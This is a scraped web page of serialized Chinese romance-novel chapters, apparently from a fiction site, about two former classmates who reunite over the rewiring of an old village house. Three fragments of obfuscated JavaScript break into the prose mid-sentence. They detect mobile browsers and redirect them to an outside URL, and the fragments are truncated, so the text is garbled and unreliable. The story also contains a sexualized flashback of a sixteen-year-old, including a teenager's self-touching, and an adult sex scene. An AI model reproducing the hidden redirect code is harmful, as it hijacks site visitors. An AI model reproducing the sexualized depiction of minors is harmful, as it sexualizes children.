靳迦低头看着手机里刚刚被蔚蓝推送的名片,头像是个用米白色的纸袋套起来的脑袋,很是孤僻,特别像那种古早流行的非主流。
“这么有个性的头像,靠谱吗?”
“拉倒吧,你那Jerry老鼠的头像也没好哪儿去。”
蔚蓝转过身,扯着被子垫在耳朵下面,光洁圆润的膀子露在外面,像起了一层白腻——
“她是闻二胖的姐姐,就是今天咱们在路口遇见的那个中年女人的女儿。”
靳迦自从得了病,记性就变得非常不好,上一秒拿起来的事情,下一秒转头就忘,但闻二胖这个名字太特别,蔚蓝一提她就想起来了。
“她呢,原本也跟咱们一样,大学毕业之就留在北京工作,搞新能源的,本来前途一片光明,没想到她弟弟出了事,只得放弃北京大好前程,回了仪庙。”
“先开始想着等情况好一点就回去,结果这一等,就是两年,不仅情况没有便好,她妈妈的病还越来越严重了,她那个爸..成天躲在外面不回家,生活的重担,家庭的责任就全都落在了她头上。”
“咱们这个镇你也知道,针鼻儿那么大点,她那个专业能找什么像样的工作,她就东家接个电,西家改个水,什么杂货都干,不过话又说回来,工作嘛,哪有高低贵贱。”
说是这么说,但也难免为之可惜,蔚蓝摇了摇头——
“好歹也是个名校毕业,现在成这样,可又没办法,家里死了一个,疯了一个,逃了一个,她再不撑着,日子还怎么过?”
靳迦听得目瞪口呆,下意识地有感而发——
“这不是生病的妈,懦弱的爸,死掉的弟弟,和破碎的她吗?”
“精辟。”
靳迦把嘴用手揪成唐老鸭,眼睛骨碌转,随即又松开——
“她弟弟叫闻二胖,她不会叫闻大胖吧?”
“那不能够,她叫闻加一。”
“怎么个写法?”
“闻讯而来的闻,一二三四的一,你的那个迦,去掉走之底。”
靳迦在嘴里念叨这个名字,突然间像是感悟到了什么,一种出自于同为女性身份的共鸣,在她的脑中强烈震动,闻加一这个名字莫名立体化起来,走之底..那不就是脚?去掉走之底,那不就等于没了脚,一个人要是没了脚,那不就废了?
她蹙起眉头,心尖像被绑了一个塑料袋,不透气泛着闷胀,莫名还有些勒痛的酸麻感...
自言自语着——
“没了脚,她还怎么走?走之底..不能去,不能去...”
“你叽叽咕咕什么呢?”蔚蓝背着身,没听清她说什么,扯过被子转头问道。
“我...”
叮的一声,手机响了。
瞬间打断靳迦思绪,捞起一看——
“她通过了。”
——「你好,我是闻加一」
4. 哪个死嘴嘬出来的!
今天一大早,闻加一刚起来,手机就响了,是她爸闻大军,说镇政府过几天有个招聘考试,让她去参加。
“我不去。”
“你不去想干嘛?你是不是还想回北京?”
“我就知道你靠不住,你个没良心的东西,我跟你妈把你养到这么大,现在家里有了事,你还想野去外面!”
“我没良心?我要是真没良心,早就走了!”
“闻加一!”
“别逼我,逼急了...我现在撂挑子!”
说完,闻加一就把电话挂了。
她真心觉得可笑,闻大军天天骂她靠不住,心野在外面收不回来,可实际情况,却是闻大军躲在外面不着家。
闻加一把手机捏地咯吱响,眉头深皱,眼神里攒着一股狠劲,或许她真该做个没良心的人,也省得白挨这些骂名。
再一转头,闻加一看见沈秀梅,她怀里抱着闻嘉宝的校服,两眼呆愣无神。
嘴里不停地唤着——
“嘉宝...嘉宝...”
没几句,却又哭了起来——
“加一..妈错了...”
自从弟弟去世后,沈秀梅的精神就出了问题,治了两年,也是时好时坏,大多数时候..就像现在这样,对着闻加一,叫着闻嘉宝。
清醒过来,意识到自己认错了人,又会泪眼婆娑的跟闻加一道歉,说自己是个不称职的坏母亲。
闻加一刚还发狠地劲儿,瞬间软弱下来,连同胸腔那颗强健有力的心跳,都怕刺激到沈秀梅,使跃动的频率都式微而下,她想自己之所以到现在都没办法下决心离开,就是因为沈秀梅,每次看见妈妈这个样子,除了心疼和可怜...再也没办法生出别的什么念头。
不管是这个社会,还是家里的亲戚长辈,总说男人才是一个家里的顶梁柱,可轮到现实中,偏偏撑起担子是她这个做女儿的。
闻加一心里默默叹气,拍拍沈秀梅的肩膀,安慰着——
“不要紧。”
吃过早饭,闻加一拜托邻居照看一下沈秀梅,她拿出之前从北京带回来的两只精装烤鸭,以此作为时常麻烦邻居的谢礼。
闻加一洗了个澡,茉莉茶香的沐浴露在身上打了两遍,她擦干身子,吹干头发,无痕的黑色文胸,套一件黑色的工字背心,外面搭一件条纹衬衫,下身着一条黑色工装裤。
出门的时候,还在镜子跟前照了照,黑长顺滑的直发干脆利落,映衬着那双黑亮的眼眸,都显得比平日多了几分矜持英气。
闻加一边往那座老宅走着,边拿出手机来看——
屏幕上赫然立着一条新消息——
「闻师傅,你好,我已经到了」
闻加一皱了皱眉,便把手机揣回兜里。
十分钟不到,闻加一看见了那座老宅生锈掉漆的大铁门,旁边立着一个小人儿,那人穿一套休闲运动服,拉链勒到下巴颌,从远处看去两条腿像筷子似的又细又长。
脚踩一双德训鞋,脚腕跟裤腿中间恰好露出一尾鱼宽的白皙皮肤,被阳光晕照的像是贴了层白瓷,闪闪发光头,头顶绑着的小丸子,在两只脚蹦蹦跳跳的同时...也跟着没有规律地来回摇摆。
她这样子,不知道的还以为是哪家正在上高中的小女儿从学校翘课跑出了来的。
这不是靳阿蛮还能是谁?
闻加一觉得自己的眼睛被太阳光狠狠地刺激了一把,陌生又熟悉的感觉,从靳阿蛮的眉眼里汹涌而来,她似乎又回到了高中时代。
那年靳迦一班,闻加一三班,下了课闻加一就往一班跑,她从不进去,只站在教室后门偷看,靳迦性格好,开朗大方跟谁都玩得开,但和蔚蓝关系最好,闻加一最常见的画面,便是两人手挽着手,在课间时分一起去厕所。
她们时常面对面相遇,可奇怪的是靳迦从来没有注意到过闻加一。
靳迦长得漂亮,属于一眼看去就很惊艳的女生,性格好,成绩也不俗,作文写的尤其好,常常会被班主任拿去给其他班当优秀范文传阅,喜欢看动物世界,爱好各种植物花草,她有一个空白本,专门用来珍藏随手捡的树叶小花。
要是单看这张脸和这些爱好,你一定会以为她是个文静乖巧的小姑娘,可实际上真要把靳迦惹急了,她也是个能动手绝不动口的暴脾气,大多数情况下,她无动于衷,只是单纯嫌麻烦。
说实话,靳迦根本不算真正意义上的好孩子,可她身上的那股爽朗劲儿,却令你没办法不喜欢。
闻加一从没想过,在她们离开高中校园这么多年后,竟然还能有机会相遇,就连在高铁车厢匆匆一面,闻加一也只当是肥皂泡沫一晃而过的意外掠影。
毕竟上一次,听见这人的名字,还是三年前去参加高中同学的婚礼上。
席间大家不知道怎么就谈到了靳迦,有个女生说:“我在北京碰见过她一回,她长得跟以前没差,而且还更漂亮了。”
“她现在干什么呢?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17353054|199641||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>“这个不知道,不过应该是发迹了,开的车都是大奔,就是太匆忙,没来得及加联系方式。”
闻加一在旁边听她们热火朝天的聊着,一句话都没搭,一口酒接一口地喝着。
高中时候,靳迦在少年宫学跳舞,有次在更衣室,她看见靳迦脱光了衣服,只穿着一条蓝色叮当猫的卡通内裤,叮当猫在她的腰窝底下咧开一张大嘴灿烂地笑着,靳迦裸/着身体,四肢纤细匀称,腰背单薄弧线玲珑,一双光足,一头及腰的长发盘起脑后,十六岁的年纪,早有了抽条的少女姿态。
靳迦嬉笑地混不吝,她低下头指了下胸部,又扬起面对蔚蓝笑道——
“它变大了好多,先前买的小背心已经穿不了了。”
一张小脸明媚光润,鬓角和后颈散落的碎发毛茸茸,仿佛一场春雨淋漓后新生的春草。
那时候的闻加一脸红的都要滴血,她藏在灰色铁皮衣柜,那扇半开半合柜门后面,赶忙关上柜门,金属发出砰一声磕撞,生怕被人发现,逃也似的就跑没了影,只在晚上回到家洗澡的时候,对着满是水雾的镜子,靳阿蛮白日在更衣间里透亮的声音和纤细的身体才又浮上眼前,颤抖抖的..叫人心热,闻加一用手擦去镜面水雾,自顾自观摩起来,想想靳阿蛮,再看看自己..两只手碰碰揉揉,顷刻间少女羞红了身体,最后得出结论——还是靳阿蛮的比较可爱。
后来的她们,还是不认识,还是那样陌生,闻加一想...以靳阿蛮地性格肯定是不会缺朋友,毕竟这样一个时刻都招人喜欢的女孩子,看不见自己..也很正常。
...
这会儿,思绪回笼,闻加一原本垂在身侧的手,忽的抬起,走一步,解开一颗衬衫纽扣。
等走到靳迦面前的时候,衬衣纽扣全部都被解开,露出里面修身的黑色工字背心,皮肤冷白,脖颈颀长,胸型匀称,腰腹上下没有多余一丝赘肉。
闻加一仰面迎着四月十点钟的春风,她在春风里撩起眼皮,觑了一眼面前的人,淡声道——
“不好意思,迟到了。”
靳迦眼都睁圆了,嘴里叼着的狗尾巴草,瞬间掉地。
“你是闻加一?”
“嗯。”
闻加一身子一侧,立在旁边,柔顺的长发被风吹得飘扬。
靳迦眼尖,一下就看见了她侧面白皙脖颈上的一道鬼迷日眼的红痕,这是被哪个死嘴嘬出来的?
好家伙...
要不要这么骚包啊?
5. 那你要换人吗?
靳迦除了天生微笑唇外,还长了一个狗鼻子,当闻加一甫一在她面前站定的瞬间,她就嗅出那股强烈的薄荷茉莉清香,再跟这人那双好看的眼睛对上,心里就更加一百二十万个确定,这人正是那天在车厢里与她匆匆邂逅一面,便消失于人群的漂亮姑娘。
当即,靳迦给蔚蓝火速发去消息,除了告诉她这鬼使神差般的巧合外,还多责问了一句——
“你怎么没告诉我,她很漂亮呢?!”
蔚蓝看不懂了,反问她——
“你管人漂不漂亮干嘛?活好不就行了~”
嘿!
说的什么话?!
...
闻加一立在早上十点钟的阳光里,毛绒绒的自然光,给她也仿佛镀上了一层金色光边,令她那张看起来没什么生机的面孔,都散洒了几分舒柔惬意。
只是那双眼睛,还是如同她们第一次在车厢里遇见时一样,冷冷清清显露孤寡。
闻加一身姿板正,嘴角平直,脸上没有任何表情,自带一种疏离推拒的漠然,有点像上学时候的那种品学兼优谁都不爱搭理的傲气孩子,可偏偏脖颈上的那一抹红痕太过惹眼。
靳迦觉得这人如果不是真冷清,那绝对就是个妥妥的玩咖。
她不敢说自己阅人无数,但自认这些年在北京也算是形形色色见识了不少,现在漂亮姑娘摘取了口罩,露出真容,可又是一副桀骜不驯的孤僻模样,难免就给人无意识地贴上标签,觉得对方这是在拿乔摆谱。
可她俩才见第一面,有什么好端架子呢?
靳迦细想了想,应该是自己的那句闻师傅闹的,也是...这么漂亮年轻的一张面孔,冷不丁被叫了师傅,换成自己也得不爽。
可话又说回来,自己又没有天眼,哪知道她长什么样,就为一句师傅,全怪在自己头上,未免也太小气了些吧。
靳迦小心思来来回回摆动,虽然脸上挂着十分清纯的笑容,但那双忽闪着的大眼睛,却被闻加一早就看破了。
这人打小就是这样,不管心里的算盘珠子拨拉地有多响,脸上都是一副人畜无害的笑模样,闻加一自觉在这方面没少吃她的亏。
年纪小的时候,不是她的对手,现在长大了,闻加一自认倒是可以跟她较量较量。
忽然,闻加一歪过头,冷清的目光浮出一丝笑意,还是淡淡的,却明显有了点洞察的迹象。
“我没那么小心眼,不会因为你叫了我一声闻师傅..就生气。”
“还有...我这里也不是什么吻痕,是我洗澡的时候不小心挠的。”
“哪的话啊~”
笑容顿时僵在脸上,靳迦尴尴尬尬的摆了句,心里却纳闷...自己一个字都没说,她怎么全都能猜中,就跟自己肚子里的蛔虫似的。
闻加一简直想笑,眼睛盯了那么半天,当自己真是瞎的?
靳阿蛮,这么多年不见,你怎么还是跟小时候一样呢。
随即,闻加一视线回转,连带着她目光中刚刚展露的那一点笑容也一并敛起,又变得冷清孤僻,她知道靳迦的性子,一点反应时间都不给她留,谁晓得她的小脑袋瓜里,会不会又冒出什么弯弯绕绕的小心思。
浮皮潦草地点过一个头,就把先前的话头岔开,直奔今天主题——
“想要怎么装?如果工程太大,我建议你还是去找外面专业的装修队。”
“我小改,不大动,能让我住进去就行。”靳迦赶忙回答。
“嗯。”
闻加一又点了个头,便朝老房子走去。
靳迦还从来没在嘴上被人堵得说不出话来,她承认自己的确是想要反击一下的,可闻加一身上的那股薄荷茉莉的茶香,却让她的脑子好像比往常都慢了一拍似的。
她小步小步地往前挪动,一双眼紧盯着闻加一后背,她看着闻加一的头发被风吹动的飘逸,条纹衬衣也鼓起了一个空气山丘,披着的头发在她的侧脸扬起落下,彷如一副闲散的珠帘,颇有一番欲盖弥彰地撩拨。
女孩子体态大都轻盈单薄,稍一高出普通范畴,便在视觉上予人一种柳条抽拔的刺激。
靳迦一面往前挪着碎步,一面在心里比手画脚——
这人有多高?
得一米七往上了吧?
如果她们面对面站在一起,自己的嘴能够到她的下巴吗?
她在塑造人物方面..对身高有执念,必须一方的嘴唇够到一方的下巴,再轻轻一踮脚,正好是接吻地最佳高度。
脑袋放空了,靳迦完全沉溺在自己精神世界的想象中,忘了现实的物理距离,就这么一步接着一步地朝前挪,想要再确定一下高度,却不料闻加一突然转过身。
靳迦被吓了一跳,适不适合接吻不知道,但的的确确出了糗,她左脚绊右脚,身子往前一倾,直挺挺就往旁边歪去。
闻加一眼疾手快,扯着她的胳膊,猛地将人拽了回来。
靳迦直挺挺撞进了闻加一怀里。
“你干什么?”
“我我我...不好意思...没站稳..”
“那你站稳,站远点。”
闻加一寡淡着声音,面无表情地推开靳迦。
只是在两人重新回到安全距离后,闻加一抬手掰动电闸的那一刻,被靳迦撞到的锁骨..突发灵感,一个酥麻的念头,从胸腔窜涌——
「靳阿蛮...她好软啊...」
...
靳迦一脸被雷劈过的表情,我又不是故意的,至于这么提防吗?而且刚刚不是你动手拉我的吗?
你是天蓬元帅啊,还倒打一耙呢!
漂亮姑娘好看是好看,就是这脾气着实不可爱。
她学乖了,三米以内,绝不跟闻加一超过这个范围。
老房子走了一圈,电看完又去看水,这屋子靳迦还没收拾,不过好在通了通风,先前久未有人居住而沉积的霉味倒是散去不少。
镇上的老房子主屋跟厨房都是分开的,闻加一看完主屋的全部,再去到对面单另的小厨房,门一推开,又发现厨房被分成了两间,外面的一间摆着炉灶,是做饭的,里面的那间则很小,中央置放着一张麻将桌,小抽屉露出缝隙,里面是两粒缺了边的骰子。
她想起来了,靳阿蛮的外婆喜欢玩牌,这间屋子从前很热闹。
“水电气的总管肯定没什么大问题,就是设备太老化。”
重回到正屋,闻加一对靳迦说。
边说,手边伸进兜里拿出一个平口起子,对着墙壁上的插座轻松一撬,她指着里面的电线——
“看见没有,这种铝芯线时间一长就会发热,线路老化严重,隐患就大,再加上照明插座回路不分家,但凡你用个大功率的电器,立马就出问题,下水管道也是这样,你要真想万无一失,目前这些全都得拆了重做,当然...也不是不能将就,要是你不打算长住,又或者不嫌麻烦,凑合也行。”
“我有个问题,为什么灯不亮呢?”靳迦的手抵墙壁上的已经从纯白色变作土黄色的开关,啪啪摁动几下。
闻加一先瞥了眼那开关,目光微微一抬,扫过头顶正中央的水晶吊灯,再一回转便落在靳迦脸上。
这目光没什么侵略性,但却有一种显而易见的疑惑,还没等闻加一开口,靳迦就反应过来,自己应该是问了个蠢问题。
果然——
“你没插卡吧。”
“呃....没...”
这老宅多少年都没回来过了,自从外婆去世后,她就等于没了亲人,那时候..她满脑子都是要死磕在北京的念头,现在看来...人果然不能把话说的太满,指不定什么时候一记回旋镖就杀中你眉心。
不过,闻加一却没想这么多,她不清楚靳阿蛮为什么要回来,也不知道她回来是打算就在这待下去,还是只暂住一段时间,又或者仅仅是来修缮一下老宅,好不让亲人留下的东西就此荒废。
闻加一承认自己心里对靳阿蛮充满了疑问与好奇,可她没有把这些说出口,原因也很简单,这是人家的私事,问了干什么呢,徒增烦恼不说,还显得自己多嘴长舌。
“水电去供电所和自来水公司拿卡充,天然气在手机上绑卡预存就行,你太久没回来,仪庙不比北京那么智能化,可也没有你想象的那么落后,你待一段时间,就都熟悉了。”
闻加一把插座装了回去,便往屋外走,待两只脚全都迈出门槛,冷不丁又一个转身,她的耳朵莫名有些发红,冷淡的声音也跟着染上了些不经意地起伏,一双深邃的黑眸,直勾勾地盯着靳迦——
“换吗?”
靳迦愣了下才反应过来,立马点头如捣蒜——
“当然要换。”
“先别那么快答应,老屋改水电没你想得那么简单,回头我给你画个图纸
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17353055|199641||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,你想清楚再找我,毕竟..一旦动工,到时候你就算反悔,也不可能停了。”
“那..费用——”
“我都说了再说。”
闻加一话少,语气也过分淡漠,说完这句,连招呼都没跟靳迦打,就转身走了人。
一副你爱改改,不爱改拉倒的样子。
再说你个头啊~
靳迦咬了下嘴唇,终于忍不住地骂了句。
这要搁北京,就你这态度,我早给差评了,小地方就是不行,花钱雇人上门的成了孙zei~
这会儿,手机又震了,是蔚蓝——
“跟漂亮姑娘相认了吗?”
“没”
“为什么?”
“你确定叶流说她人很好吗?”
“怎么了?”
“她看上去像北极熊它亲姥姥。”
“瞎说,人熊不通婚。”
“那你要换人吗?”
“不换!”
“因为她漂亮?”
“不,因为她活好~”
啧!
蔚蓝早就看出来,这人是个典型的外貌协会,只要见着漂亮姑娘,不管实际行动有多残废,脑子里各种浮想联翩的心思..却活路的像只八爪章鱼。
在蔚蓝看来,喜欢一个人,得是长年累月的陪伴之后才能生出爱慕情根,所谓第一眼钟情、生理性喜欢,全都是狗屁话,两个人还什么都不了解呢,仅凭一张脸,一呼几口气,就能判断爱情,把见色起意说的这么清醒脱俗的也只有文人的那张嘴了。
不过,靳迦对此也有一套反驳说辞——卡西莫多内心多美,忠诚勇敢又善良,可你会爱上钟楼怪人吗?说白了..陪伴滋生爱意,也得基于那张能入眼的脸,见色起意怎么了?要都跟菩萨似的,没有一双肉/欲/横流的眼睛,哪里还有伟大爱情,早嗝屁了~
她俩对这个问题是底层价值观的分歧,各有各的理,只能浅谈,不可深究。
“晚上我不回去了,我得回趟家。”
“去见青年才俊啊?”
“我见个屁”
蔚蓝点了支烟,轻吸过一口,一阵白色烟雾从两片枫叶红的薄唇中吐出——
“叶流回来了。”
“回来回来呗,怎么...还得要你亲自迎接啊?”靳迦不知道她俩到底为什么闹僵,但不管原因是什么,她都绝对站蔚蓝,“你这么不待见她,还要回?”
“回啊,我当然要回。”蔚蓝把抽了两口的烟,熄灭在烟缸里,嘴角微微一扬,霎时眉眼生媚,“她给我买了个包。”
“你....”
“我还是不待见她,不过看见包的份上,我妥协一下也不是不行,毕竟..我爱钱。”
“扯淡!”
——
今天傍晚的小镇,难得遇见一片粉色夕照。
一辆深蓝色的大奔从尽头缓缓驶来,正巧目睹了这片讨巧的光彩,待车身甫一停稳,最后的夕照也落下山头,取而代之地便是伫立敞亮的银白路灯。
车门被拉开,闻加一坐进副驾驶。
叶流冲她笑了笑,把身后的一个纸袋递给她,那上面印着先锋书店的logo,是闻加一托叶流帮忙从南京带回来的。
闻加一也没有别的嗜好,唯一自娱方式,就是这些又厚又沉的书。
“谢谢。”
“跟我就别客气了。”
时间还早,叶流提议去兜兜风,闻加一被困在这个地方太久,所以每次只要见面,不是去喝一杯,就是去兜一圈。
只是今天的闻加一格外沉默,不知驶过了几条路口,才开口说话——
“她回来了。”
“但她不记得我了。”
叶流把着方向盘,只问了一句——
“那你现在对她是什么感觉?”
感觉?
闻加一眼睛微眯,目视前方,脑海中里缓缓描摹出靳阿蛮的样子——
干枯分叉的头发,蜡黄憔悴的小脸,瘦麻杆一样的身体...
站着时候原地活跳跳地蹦跶,盯着自己看时..忽闪好奇的大眼睛,猝不及防撞进自己怀里的冒失相...
她...她看上去整个人都是一副营养不良的样子,但她的脸...却又是一副营养过剩的表情。
闻加一摇摇头——
“说不上来,很奇怪。”
6. 我对她没兴趣
“你这个回答,倒是挺别出心裁。”
叶流觉得闻加一在对靳迦的情感方面,是欲盖弥彰的有所保留,自己问的是对人的感觉,可这人说的却是眼睛看到的视觉客观效应。
随即扭过头,略带品评的目光在闻加一身上来回打量,夜的光影将这人的身段拉扯的纤细修长,那件套在外面的条纹衬衫,十分随意地被压出几道不规律的褶皱,里面工字背心下拉的领口,将她一字型的锁骨,也勾勒的清晰流畅,脖颈上梗起的经络,更是起伏的一清二楚。
闻加一不爱笑,也不爱说话,乍一看上去是生人勿进的孤僻疏离,可架不住长得漂亮,平眉锐眼,冷不丁睨来一下,那张没什么情绪的脸,竟然还有种勾人的风流。
叶流盯着她看了半天,似笑非笑的表情,愣是把看闻加一看的鸡皮疙瘩都起来了。
不知道是不是大过自己几岁的缘故,闻加一总觉得叶流那双眼睛,似乎把人心底的黑洞都能看破。
“你看什么?”
“得不到的都是白月光,得到的都是蚊子血。”
叶流视线一撇,眺向远处黑漆漆地田亩。
“我听蔚蓝说,靳迦现在在北京有房有车,在文娱圈里也挺有名,排除她这个人,就她身上的这些条件,也是可遇不可求。”
“你这话说的好像我贪图名利。”
“不是贪图,是务实。”叶流笑了笑,“我比你大几岁,社会阅历不说丰富到哪去,但也算比你强点,这个世界都讲究现实,异性恋也好同性恋也罢,有了钞票做底气,日子才能走下去。”
“况且,你心心念念这么久,现在人送到跟前,要还这么瞻前顾后,那我可真要怀疑一下,你那份喜欢,究竟有多少真心的成分了。”
叶流有心想要拉闻加一一把,才会在知道靳迦回来的时候,给她打了那个电话。
二十七岁的年轻人,成天死气沉沉可不行,现在就未老先衰,真老了..怎么办?
闻加一却好似不领情,皱起眉头。
“谁告诉你我心心念念?”
“你很了解她吗?”
“你根本就不知道这家伙有多狼心狗肺。”
叶流瞧着闻加一脸色越发阴沉,虽然不晓得她在想什么,但也能猜的出..肯定跟靳迦脱不了干系。
“我对她没兴趣。”闻加一冷冷抛出一句。
叶流不信,这表情哪是没兴趣,分明是不甘心。
“你这人哪都好,就是一点很不好...”
“嘴太硬。”
点到为止,叶流没再多说,感情的事如人饮水冷暖自知,外人分辨的再清楚,也做不了判官,况且叶流自觉也没有做情感导师的本事,毕竟..她连自己的那点事儿,都还一团乱麻。
又聊了会儿别的,叶流便开车离去。
夜路行驶速度都慢,要是碰见那种人头猪脑开远光灯的智障,就更让人心烦,骨子里养成的谨小慎微,令她形成肌肉记忆,脚踩油门时,从没有一次给到底过,总是轻轻点踩。
叶流想...或许这就是自己总令人讨厌的原因吧,那点走不快..又停不住的油门,就像碗一两馄饨,吃不饱,也饿不死。
车子驶进彩虹小区时,叶流的速度又慢了一个八拍,她看见绿化带旁边路灯底下站了个身姿玉立的女人。
女人穿了件包臀黑裙,宝蓝色的衬衣束在腰里,侧身扭转之时,前凸后翘,大波浪的长发松散随意,虽然光影昏黄,但叶流还是能看得出...这人把头发染成了酒红色。
隔着风窗玻璃,叶流把着方向盘的中指尖,莫名瘙/痒起来。
“怎么不回家去?”叶流把车停稳。
“不是等你,正好出来买包烟。”蔚蓝说着便伸出左手,嫩白如葱的指尖,一包黑格调摇摇晃晃。
蔚蓝等着叶流从车上下来后,上挑的黑色眼线,倏地一转,柔媚地落在这人身上,叶流穿了件白色真丝衬衣,滑腻的质感,就像脖颈露出的皮肤一般,即便不用手指去触碰,也能知晓其中惑人滋味。
“走吧。”蔚蓝眼波回转,清浅地嗓音在夜风中勾起万缕风情。
叶流跟在她身后,目光垂落在蔚蓝的影子上,视线随着她影子...一点一点向上攀升。
蔚蓝穿着高跟鞋走路的时候,腰身扭的十分妖娆。
叶流不晓得,这人是什么时候就长成女人样子,只是在记忆的深处,还有蔚蓝穿着校服,绑着马尾...蹦蹦跳跳地少女模样。
两人一路无话,甫一进了家门。
叶流的手却从后面伸了过来,一把捞过蔚蓝的胳膊,将她抵在了鞋柜之间,这人枫叶红的唇色有股浓郁胭脂气息,Chanel No. 5的香水从衣襟里发散而出。
她碰碰她的额头——
“怎么染头发了?”
蔚蓝不说话,她在小区门口等了叶流半个小时,差点儿就想把今天的见面取消了,可最后还是没下得去手,她们难得能见一面,蔚蓝不想在这时候...给自己添堵
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17353056|199641||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
叶流看得出来蔚蓝不高兴,手指撩过她鬓角的碎发,轻柔地捋到耳后,温声道——
“对不起...是我不好,我迟到了。”
蔚蓝被叶流宠溺惯了,哪怕知道这时候应该顺着梯子接下,却也要矜持傲娇一番,她不理会叶流的道歉,抬手推开她,径直往沙发上一坐,拿起手机便开始敲敲打打。
一副交际繁忙的样子,实际上不过是装腔作势,老板都被她开了,哪还有得忙。
真小气。
叶流看穿了她,但也不急,就站在一旁等,期间撩起袖子,看了三次左手腕表,直到半个小时的最后一秒落定,她才开始动手,摘掉腕表,一颗一颗解开扣子,一件一件脱/光衣服...待浑身上下寸缕不沾。
叶流看着沙发上那个呼吸早已紊乱的人,出声发令——
“时间到了。”
“过来吧。”
不多时,卫生间的玻璃浴房便雾气横生,两道人影在弥/散的水汽中...
交/缠不休...哼鸣不止。
事后。
蔚蓝趴在枕头上,有气无力地像是死去活来了好几场,她狠瞪了一眼叶流——
“你个变态...”
“享受的时候不骂我,享受完了开始骂我,卸磨杀驴也没你这么快。”
叶流扬了扬嘴角,肩膀上被蔚蓝又抓又咬,流了好多血,可她也并不在意,反倒是将目光贪婪的留恋在蔚蓝的眉眼上...
这张脸她从九岁一直看到现在,非但不觉得腻,相反越发觉得动人...
叶流坐在床头,把衣服穿好,随即,又俯身在蔚蓝的耳边亲了亲,柔声道——
“明天记得回家。”
然后就走了。
蔚蓝没看她,鼻腔里轻哼一声算是答应。
就在客厅传来门板关上的声音,床头的手机响了,是一笔转账。
叶流——
「不够跟我说,我再转给你。」
「晚安」
****!
第二天,蔚蓝睡到中午才起来,叶流在门口等她。
两人一起回了家,就在旁边的另一栋,一模一样的陈设格局,只是这一套看上去更有居住的烟火气。
门板甫一打开,映入眼帘的除了电视柜两边摆放的翠绿转运竹,便是叶良新跟蔚文芳。
蔚蓝:“妈。”
叶流:“爸。”
深蓝色的金属门板被嘭一声重重阖上。
7. 你这狗怎么舔人啊?
今天天气不错,闻加一在院子中央的那张四方木桌上动起笔来。
高材生做水电工,不是不行,只是这个世界偏见深重,即便情况特殊,也会被与无业游民四个字画上等号。
“加一,又接活了?”
邻居跟她打招呼,眼朝桌上的图纸瞧去。
“你说你一身本事,结果用在这上头,想当初那些没你成绩好的,现在可都混的有模有样呢。”
这人的儿子早早辍学,后来做了包工头,如今赚的盆满钵满,年初娶了个城里姑娘做老婆。
她曾经亲耳听见他说过,学得再好有什么用?还不是留在镇上,人啊...要是没个靠谱的爹妈,再能耐也是白费功夫。
闻加一从来没有辩驳什么,毕竟人家说的也是事实,她想..自己也是风光过的,那会儿拿到211录取通知书,她爸妈在镇上专门摆了流水席,放鞭炮挂横幅,还挨家挨户的发状元糖。
那时候的闻加一,绝对有资格说自己是一只金凤凰,但...后来发生的事,谁都没想到罢了。
她不认为邻居有多坏,只不过...人类行为学的本能,谁也逃不过。
邻居走的时候,嘴里还在嘀咕着可惜,听他这番碎碎念叨,闻加一再低头看看画好的图纸,靳阿蛮的那张脸突然就从她的脑子里跳了出来。
手上一僵,不小心把图纸划出一条黑棱,影响倒是不大,就是心里无端起了烦杂——
自己是因为身不由己不得不回来。
靳阿蛮呢?又是因为什么回来的?
带着这份莫名烦躁,闻加一拿出手机,将画好的图纸给靳迦发了过去。
叮的一声,手机作响。
靳迦捧着泡面桶,面条还没咬断,嘴一咧,顿时从牙齿里又齐刷刷地掉回桶里。
蔚蓝刚开门进来,正巧看见这一幕,立马皱起眉头,嫌弃地嘶了一声。
“靳阿蛮吃进嘴的就别吐出来了好伐?”
靳迦顾不上解释,面桶往茶几上一放,盯着手机,脸上的表情比蔚蓝还夸张。
这人给我发的什么东西?
闻加一给她发了份走明线的方案,依照靳迦说的不大动,否则走暗线...肯定得扒墙挖砖。
不仅如此,闻加一还把需要置备的材料也一并给靳迦发来。
1.大到...照明、普通插座2.5平方用线,厨房、卫生间以及空调专线4平方用线。
厨房、卫生间水管道规格:DN20(约25mm,俗称6分),热水器洗衣机用DN25(约32mm,俗称1寸),厚度最好选3.5—4.2mm....
小到...一枚螺丝钉也不放过。
诸如此类,细分明确,拢共三大长段,都把靳迦的手机霸屏了。
“你给我发这个干嘛?”
“你该不是想让我自己去买吧?”
靳迦赶忙回去消息,拦截住对方的正在输入...
“自己去买比较划算。”
“你在开玩笑?”
靳迦压根儿就不懂装修,她连火线零线都不分。
她不晓得闻加一这番用意何为?如果不是认真的,那她就是再拿自己开涮。
“不用给我省钱,姐们儿我不差钱。”
“你去买,我全权委托给你。”
好大的口气。
把钱不当钱?
“不怕我坑你?”
